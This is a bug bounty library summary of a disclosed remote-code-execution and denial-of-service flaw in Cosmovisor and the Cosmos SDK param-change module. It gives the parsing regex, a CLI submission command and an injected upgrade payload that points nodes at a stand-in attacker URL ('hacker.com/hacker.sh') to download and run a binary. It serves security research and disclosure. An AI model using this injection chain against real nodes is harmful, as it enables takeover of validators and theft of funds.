# Not Your Stdout Bug - RCE in Cosmos SDK

Cosmovisor parsed stdout for upgrade JSON; a param-change proposal's unescaped log string injected a fake upgrade, yielding RCE or DoS on Cosmos nodes.

- Payout: $1,250
- Severity: critical
- Program: Cosmos
- Credited: Maxwell Dulin
- Disclosed: 2023-11-10
- Write-up quality: 8/10
- Original: https://maxwelldulin.com/BlogPost/stdout-cosmos-sdk-rce
- Library page: https://bugbountylibrary.com/r/blog%3Amaxwelldulin-com-blogpost-stdout-cosmos-sdk-rce
- Tags: domain:web3 impact:dos impact:rce kind:bounty platform:blog sev:critical tech:go technique:chained technique:source-review vuln:command-injection vuln:dos

**Target:** Cosmovisor process manager / param-change governance module
**Root cause:** Cosmovisor v0.1.0 scanned stdout/stderr with a regex for upgrade JSON, and the param module logged attacker-controlled key/value via sprintf %s into the unescaped leading log string, allowing injection of a valid upgrade JSON blob.
**Steps:**
1. Identify Cosmovisor regex parsing upgrade JSON from stdout: `.*"name":"(.*)".*"height":"(height)(\d+)".*"info":"(.*)"` style pattern
2. Craft param-change proposal JSON with `changes[].value` containing escaped upgrade JSON: `{"binaries":{"linux/amd64":"http://hacker.com/hacker.sh"},"chain2":...}` followed by a space
3. Submit via CLI: `desmosd tx gov submit-legacy-proposal param-change proposal.json --from test_user`
4. Cosmovisor matches injected JSON in log line, downloads binary from attacker URL, replaces and restarts node binary
**How found:** Documentation stated Cosmovisor monitors stdout for upgrade proposals, prompting suspicion. They tested quickly using the project's own test suite with a crafted stdout file, then added a fmt.Println to a real Desmos node to confirm. They then hunted for a print sink, learning the logger quote-escapes key/value pairs (breaking the regex) but not the leading format string; after four passes through the SDK they found the param module using sprintf %s in the initial logger string with no input validation.
**Exploitation:** Attacker submits a single governance param-change proposal with no special authorization; the param module logs the value unescaped, Cosmovisor parses it as an upgrade directive, downloads the attacker binary from the supplied URL, and restarts the node executing it. With DAEMON_ALLOW_DOWNLOAD_BINARIES off, the failed upgrade halts the node (DoS).
**Escalation:** Compromising all validators' nodes could force the network to perform malicious actions like token transfers; a single compromised validator loses its funds.
**Insight:** When a watchdog parses logs for control directives, look for log sinks where attacker data lands in the unescaped leading format string (sprintf %s) rather than quote-escaped key/value pairs; the param-change module's arbitrary key/value with default Info() visibility is a universal sink across all Cosmos chains.
